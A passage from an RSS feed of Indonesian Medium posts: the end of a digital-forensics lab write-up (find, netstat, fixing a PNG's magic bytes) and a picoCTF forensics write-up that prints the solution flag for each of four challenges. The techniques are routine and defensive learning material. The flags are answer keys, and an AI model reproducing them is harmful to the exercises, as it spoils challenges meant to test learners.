c61_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/370e5f3145d1479e_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/a0434982373356b8_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/0e9abbc14109b25e_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9284c563042663ad_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/8050a458550a16a6_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/54a062906becb913_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/73ee02f8ab92d423_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/b845ce1a6a3fdc55_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/4f63af072334a7a6_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/27d6cbceca4f8045_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/1507992a7df55932_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/34b4ef0d277b8e33_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/037bef8e147d7fa7_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/e319985c54236cd4_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/9f07cded88560a57_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/a098eaa6791ad547_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/2be7de7759aae26f_0<br>./aqilah/.cache/google-chrome/Default/Cache/Cache_Data/8d1ba58813ff1e5c_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/0a3749c97da92592_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/cee81b07454f36f0_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/6dafac19af240c42_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/b037b44a1e4b9f55_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/31d5339e8e3ca107_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/7c664415f9f6bd4d_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/4ca91bf53e717781_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/cf88eda2d2f0dc2c_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/87e6a2e4dae900fb_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/769ac4c70977e218_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/95c9589cc3310d32_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/81926b41dcae6a2c_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/8be190c198909cad_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/8c0d1b2e3af9a7ad_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/1bb55670a0c567ca_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/index-dir<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/index-dir/the-real-index<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/1af7bd5cf76e74c0_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/335e69ddec2b9ac6_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/6123dd016566f3bc_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/6e03f5027528ce12_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/8a06c47b440213a6_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/30b9035af0f0a5ee_0<br>./aqilah/.cache/google-chrome/Default/Code Cache/js/9e08e41e2b9d4a58_0<br>./aqilah/.config/google-chrome<br>./aqilah/.config/google-chrome/Default<br>./aqilah/.config/google-chrome/Default/Shortcuts-journal<br>./aqilah/.config/google-chrome/Default/DawnWebGPUCache/data_1<br>./aqilah/.config/google-chrome/Default/Shortcuts<br>./aqilah/.config/google-chrome/Default/DIPS-wal<br>./aqilah/.config/google-chrome/Default/History<br>./aqilah/.config/google-chrome/Default/Sessions/Tabs_13415853855414181<br>./aqilah/.config/google-chrome/Default/Sessions/Session_13415853852889761<br>./aqilah/.config/google-chrome/Default/Shared Dictionary/db<br>./aqilah/.config/google-chrome/Default/Shared Dictionary/db-journal<br>./aqilah/.config/google-chrome/Default/Cookies<br>./aqilah/.config/google-chrome/Default/Web Data<br>./aqilah/.config/google-chrome/Default/GPUCache/data_1<br>./aqilah/.config/google-chrome/Default/Session Storage<br>./aqilah/.config/google-chrome/Default/Session Storage/000025.log<br>./aqilah/.config/google-chrome/Default/Session Storage/LOG<br>./aqilah/.config/google-chrome/Default/Session Storage/000026.ldb<br>./aqilah/.config/google-chrome/Default/Session Storage/MANIFEST-000001<br>./aqilah/.config/google-chrome/Default/Favicons<br>./aqilah/.config/google-chrome/Default/DawnGraphiteCache/data_1<br>./aqilah/.config/google-chrome/Default/Network Action Predictor-journal<br>./aqilah/.config/google-chrome/Default/Favicons-journal<br>./aqilah/.config/google-chrome/Default/Cookies-journal<br>./aqilah/.config/google-chrome/Default/Preferences<br>./aqilah/.config/google-chrome/Default/Reporting and NEL-journal<br>./aqilah/.config/google-chrome/Default/Network Persistent State<br>./aqilah/.config/google-chrome/Default/WebStorage/4/IndexedDB/indexeddb.leveldb<br>./aqilah/.config/google-chrome/Default/WebStorage/4/IndexedDB/indexeddb.leveldb/000007.log<br>./aqilah/.config/google-chrome/Default/WebStorage/4/IndexedDB/indexeddb.leveldb/LOG<br>./aqilah/.config/google-chrome/Default/WebStorage/QuotaManager-journal<br>./aqilah/.config/google-chrome/Default/WebStorage/QuotaManager<br>./aqilah/.config/google-chrome/Default/Local Extension Settings/gppongmhjkpfnbhagpmjfkannfbllamg/000033.log<br>./aqilah/.config/google-chrome/Default/History-journal<br>./aqilah/.config/google-chrome/Default/Network Action Predictor<br>./aqilah/.config/google-chrome/Default/shared_proto_db/000004.log<br>./aqilah/.config/google-chrome/Default/Reporting and NEL<br>./aqilah/.config/google-chrome/Default/TransportSecurity<br>./aqilah/.config/google-chrome/Default/Local Storage/leveldb/000132.log<br>./aqilah/.config/google-chrome/Default/Search Logos/metadata<br>./aqilah/.config/google-chrome/Default/Web Data-journal<br>./aqilah/.config/google-chrome/CrashpadMetrics-active.pma<br>./aqilah/.config/google-chrome/segmentation_platform/ukm_db<br>./aqilah/.config/google-chrome/segmentation_platform/ukm_db-wal<br>./aqilah/.config/google-chrome/BrowserMetrics/BrowserMetrics-69951E14-65D4.pma<br>./aqilah/.config/google-chrome/GraphiteDawnCache/data_1<br>./aqilah/.config/google-chrome/Safe Browsing<br>./aqilah/.config/google-chrome/Safe Browsing/UrlSoceng.store.4_13415859454797940<br>./aqilah/.config/google-chrome/Safe Browsing/UrlMalBin.store.4_13415859455378889<br>./aqilah/.config/google-chrome/Safe Browsing/UrlSubresourceFilter.store<br>./aqilah/.config/google-chrome/GrShaderCache/data_1<br>./aqilah/.config/google-chrome/Local State<br>./aqilah/.config/google-chrome/ShaderCache/data_1<br>./aqilah/.xsession-errors</pre><p>Sebaliknya jika kita menggunakan ekspresi <strong>+30, </strong>maka perintah <strong>find </strong>akan menampilkan seluruh file yang telah dimodifikasi lebih dari 30 menit.</p><p>Untuk eksplorasi lebih dalam, gunakan perintah <strong>find --help </strong>sebagai panduan.</p><pre># find --help<br>Usage: find [-H] [-L] [-P] [-Olevel] [-D debugopts] [path...] [expression]<br><br>Default path is the current directory; default expression is -print.<br>Expression may consist of: operators, options, tests, and actions.<br><br>Operators (decreasing precedence; -and is implicit where no others are given):<br>      ( EXPR )   ! EXPR   -not EXPR   EXPR1 -a EXPR2   EXPR1 -and EXPR2<br>      EXPR1 -o EXPR2   EXPR1 -or EXPR2   EXPR1 , EXPR2<br><br>Positional options (always true):<br>      -daystart -follow -nowarn -regextype -warn<br><br>Normal options (always true, specified before other expressions):<br>      -depth -files0-from FILE -maxdepth LEVELS -mindepth LEVELS<br>      -mount -noleaf -xdev -ignore_readdir_race -noignore_readdir_race<br><br>Tests (N can be +N or -N or N):<br>      -amin N -anewer FILE -atime N -cmin N -cnewer FILE -context CONTEXT<br>      -ctime N -empty -false -fstype TYPE -gid N -group NAME -ilname PATTERN<br>      -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN<br>      -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE<br>      -nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN<br>      -readable -writable -executable<br>      -wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N<br>      -used N -user NAME -xtype [bcdpfls]<br><br>Actions:<br>      -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print <br>      -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit<br>      -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;<br>      -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;<br><br>Other common options:<br>      --help                   display this help and exit<br>      --version                output version information and exit</pre><h4><strong>9. What command can we use to display information about all active TCP connections on the system?</strong></h4><p>Kita bisa menggunakan perintah <strong>netstat, </strong>yang berfungsi menampilkan informasi dari koneksi jaringan pada sebuah sistem. Informasi tersebut dapat berupa port terbuka, alamat lokal, dan koneksi yang aktif.</p><h4>netstat -at</h4><p>opsi -atdapat menampilkan seluruh koneksi TCP baik yang sudah terhubung atau sedang mendengarkan.</p><ul><li><strong>-a (all)</strong>: menampilkan seluruh koneksi yang terhubung atau mendengarkan.</li><li><strong>-t (tcp)</strong>: filter yang hanya menampilkan protokol TCP saja</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*ZKzE4u6yFfzHFNtTl-t1EA.png" /><figcaption>netstat -at output</figcaption></figure><h4><strong>10. Given </strong><a href="https://github.com/vonderchild/digital-forensics-lab/blob/main/Lab%2001/files/challenge.png"><strong>this corrupted image file</strong></a><strong>, can you find a way to recover and view its contents?</strong></h4><p>Untuk soal ini, ada 2 hint yang diberikan:</p><ul><li><strong>Hint 1: A quick google search for “magic bytes” might help.</strong></li><li><strong>Hint 2: Explore how hexedit can help you here.</strong></li></ul><p>file gambar dapat diunduh dengan perintah berikut:</p><pre>curl https://raw.githubusercontent.com/vonderchild/digital-forensics-lab/main/Lab%2001/files/challenge.png -o challenge.png</pre><h4>Solution</h4><p>Mari kita analisis gambar tersebut secara bertahap 🔎.</p><h4>Step 1:</h4><p>Karena pada soal dijelaskan kalau gambarnya <em>corrupted</em>, maka kita lihat karakteristik file <strong>challenge.png </strong>terlebih dahulu dengan perintah<strong>file challenge.png</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*s3Y2vq85cT1IFd7jg7Ttxg.png" /><figcaption>challenge.png file type</figcaption></figure><p>Hasilnya bahwa <strong>challenge.png</strong> bukan benar-benar file gambar, tapi hanya sebuah file tanpa karakteristik yang jelas. Kita dapat asumsikan bahwa file tersebut telah dimodifikasi karena ekstensi dengan informasi file nya tidak sesuai.</p><h4>Step 2:</h4><p>Untuk melihat apakah ada indikasi perubahan pada file <strong>challenge.png</strong>, kita lihat <em>header </em>file nya menggunakan perintah <strong>xxd challenge.png | head</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*3Ma8-7cd8yMU_sz4I_bGGg.png" /></figure><p><strong>challenge.png</strong> tidak memiliki <em>magic bytes</em> yang sesuai untuk file .PNG, ditandai dengan adanya bit 17 29. Dimana <em>magic bytes</em> .PNG seharusnya diawali dengan89 50.</p><blockquote><em>Referensi </em>magic bytes <em>bisa di lihat melalui</em> <em>cheatsheet </em><a href="https://en.wikipedia.org/wiki/List_of_file_signatures"><em>ini</em></a>👈🏼</blockquote><h4>Step 3:</h4><p>Kemudian kita ubah header awal pada file <strong>challenge.png</strong> dengan perintah <strong>hexedit challenge.png</strong>. Ubah bit 17 29 menjadi 89 50</p><pre>00000000   17 29 4E 47  0D 0A 1A 0A  00 00 00 0D  49 48 44 52  00 00 02 32  00 00 01 A8  08 02 00 00  .)NG........IHDR...2........</pre><p>Hasilnya akan seperti header dibawah ini. setelah itu klik <strong>Ctrl X &gt; Y</strong> untuk menyimpan hasil edit pada header file.</p><pre>00000000   89 50 4E 47  0D 0A 1A 0A  00 00 00 0D  49 48 44 52  00 00 02 32  00 00 01 A8  08 02 00 00  .PNG........IHDR...2........</pre><h4>Step 4:</h4><p>Kita cek kembali apakah file tersebut berhasil diperbaiki. caranya dengan menggunakan perintah<strong>eog challenge.png. </strong>eog(Eye of GNOME) pada Linux adalah aplikasi penampil gambar yang digunakan untuk membuka dan melihat file gambar dengan berbagai jenis format.</p><p>Hasilnya gambar berhasil di <em>recovery, </em>pada gambar tersebut ada sebuah<em> string flag </em>untuk menjawab <em>chall.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9U00KVe_bu8dAez1Zh1Q9g.png" /></figure><blockquote>thankyouuuuu. <em>kalo rame lanjut lab 02</em> <em>ヾ(≧▽≦*)o</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01afe2383b64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF Easy level — Forensics category Part 1.]]></title>
            <link>https://medium.com/@nasakennedy40/picoctf-easy-level-forensics-category-part-1-321322200396?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/321322200396</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 10:34:46 GMT</pubDate>
            <atom:updated>2026-02-12T11:10:50.302Z</atom:updated>
            <content:encoded><![CDATA[<p>Ini adalah write-up pertamaku pada <em>challenge </em>PicoCTF. dalam artikel ini aku akan membahas beberapa <em>challenge </em>forensik yang berhasil aku selesaikan.</p><h3>DISKO 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*BIh8n8NCCwExPeIJtZNiQA.png" /></figure><p>Pada challenge ini, dijelaskan kalau kita disuruh mencari flag dalam sebuah file image, dan terdapat link untuk mengunduh file image tersebut. Jika sudah diunduh, nama file nya adalah <strong>disko-1.dd.gz.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*fTEWrKHo862kiR5sCGtozQ.png" /></figure><p>Ekstrak file image terlebih dulu agar bisa dianalisis lebih lanjut. Disini aku pakai <strong>gunzip </strong>untuk ekstrak file image .dd nya. Setelah di ekstrak, jalankan perintah <strong>cat </strong>untuk melihat isi file imagenya. Ternyata banyak sekali data teks dan karakter lain yang tersimpan didalam file tersebut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YBl6p6eu_cl25AAXlVspKw.png" /><figcaption>cat disko-1.dd output</figcaption></figure><p>Karena terdapat teks atau string, skenario pertama yang dipikirkan adalah mencari flag dengan memanfaatkan tools <strong>strings </strong>karena bentuk flag itu umumnya adalah data string. Disini aku pakai syntax <strong>strings disko-1.dd | grep “picoCTF”. </strong>Fungsi<strong> grep </strong>itu untuk memfilter data yang akan dicari agar lebih spesifik<strong>. </strong>dan hasilnya flag berhasil didapatkan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*tRjXoHAy6i6WzfARFbckiQ.png" /><figcaption>flag: picoCTF{1t5_ju5t_4_5tr1n9_be6031da}</figcaption></figure><h3><strong>information</strong></h3><p>Pada deskripsi challenge ini dijelaskan kalau file itu bisa di ubah pake cara ‘rahasia’. tantangannya adalah bagaimana kita menemukan flag pada file gambar bernama <strong>cat.jpg </strong>tersebut. disini aku jelasin tahapannya, lesgoo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*STHfg450ewYUvJXo57ygSw.png" /></figure><p>Pertama unduh dulu gambarnya, kalau sudah bisa di cek dulu di folder download. file nya cuma berisi gambar kucing biasa kan? tapi kalau kita bedah sebenarnya gambar itu punya informasi terstruktur dan detail yang disebut <strong>metadata. Metadata </strong>inilah yang akan digali terlebih dulu untuk mendapatkan informasi dari gambar.</p><p>umumnya command <strong>exiftool, binwalk, file, stat </strong>berguna untuk menampilkan metadata dari file apapun. disini aku pakai <strong>exiftool </strong>untuk melihat data gambar <strong>cat.jpg.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*Fy0rt_NJ2T0y9dlr4Vscrg.png" /><figcaption>cat.jpg metadata</figcaption></figure><p>dari sini bisa dilihat ada teks <strong>PicoCTF </strong>yang merupakan bagian awal dari flag nya. jika dilihat lebih seksama ada informasi yang sedikit aneh pada bagian license, terlihat seperti karakter yang umum digunakan dalam encoding base64. Seharusnya license itu berisi informasi terkait hak cipta suatu objek dalam hal ini gambar.</p><p>Karena asumsi awal pada string license adalah karakter yang di encode, maka kita perlu melakukan decode pada string tersebut. syntax yang aku gunakan untuk decoding adalah <strong>echo cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9 | base64 -d</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*7wJ17FPfszYO-bZ4vlkWLQ.png" /><figcaption>flag: picoCTF{the_m3tadata_1s_modified}</figcaption></figure><p>Flag pada challenge <strong><em>information </em></strong>berhasil didapatkan. yey</p><h3>CanYouSee</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*WkLomRDaRTL0w8L6TWIQuQ.png" /></figure><p>Dalam challenge ini, deskripsi yang kita dapatkan adalah “How about some hide and seek? Download this file <a href="https://artifacts.picoctf.net/c_titan/129/unknown.zip">here</a>.”. kita disuruh mencari flag yang ‘bersembunyi’ didalam file yang diberikan. untuk menemukan flag tersebut, unduh filenya yang bernama <strong>unknown.zip</strong></p><p>setelah diunduh, ekstrak file <strong>unknown.zip </strong>tadi untuk mendapatkan sebuah file. aku pakai command <strong>unzip </strong>untuk mengekstraknya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*YUpACCcnL6k7B5ze61vuFA.png" /><figcaption>ukn_reality.jpg extracted from unknown.zip</figcaption></figure><p>Ternyata ada sebuah file .jpg didalamnya. seperti challenge sebelumnya yang melibatkan file gambar, aku melakukan analisis terhadap metadatanya terlebih dahulu menggunakan <strong>exiftool, </strong>dan seperti ini metadata gambarnya</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*x0hbN9Y-fyEBG3jXxagyaw.png" /><figcaption>ukn_reality.jpg metadata</figcaption></figure><p>pada metadata Attribution URL, isi nya berupa string base64. dari sini bisa dilakukan encoding dengan menggunakan syntax <strong>echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fYjMyMDQwYjh9Cg== | base64 -d </strong>dan <em>voila! </em>flag nya berhasil di ekstrak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Y2qg7vTKRvyRV7HoCCMhhA.png" /><figcaption>flag: picoCTF{ME74D47A_HIDD3N_b32040b8}</figcaption></figure><h3>Scan Surprise</h3><p>Biasanya flag yang kita dapatkan itu dalam bentuk text, nah gimana kalau ternyata ada flag yang disimpan dalam bentuk gambar? di chall ini kita ditantang untuk menemukan flag melalui file <strong>challenge.zip </strong>yang bisa diunduh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*idY9GERmhbbAQUq8c_IcXw.png" /></figure><p>oh iya sebelum mulai, jangan lupa klik <strong>Launch Instance </strong>ya biar challengenya bisa diselesaikan. kalau udah download file nya, ekstrak file zip nya. hasil nya seperti ini</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*Dn6CKapBxAtAvOF8TGl7Ig.png" /><figcaption>challenge.zip output</figcaption></figure><p>Dari file <strong>challenge.zip, </strong>ternyata ada folder lain yang tersimpan didalamnya dan berisi <strong>flag.png. </strong>Kemungkinan file .png tersebut berisi informasi flag yang dicari. langsung saja buka folder <strong>drop-in </strong>di file manager. isinya adalah sebuah QR-Code, untuk mengetahui isi QR Code tersebut cukup scan menggunakan scanner atau upload gambar ke google search bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*VXObxvMLeQhQbUQ8KU3Opw.png" /><figcaption>flag.png qr code</figcaption></figure><p>Hasil dari QR-Code tersebut adalah string yang berisi flag <strong>picoCTF{p33k_@_b00_d4ca652e}.</strong></p><blockquote>segitu aja dulu write-up nya, see you on the next article✨</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=321322200396" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>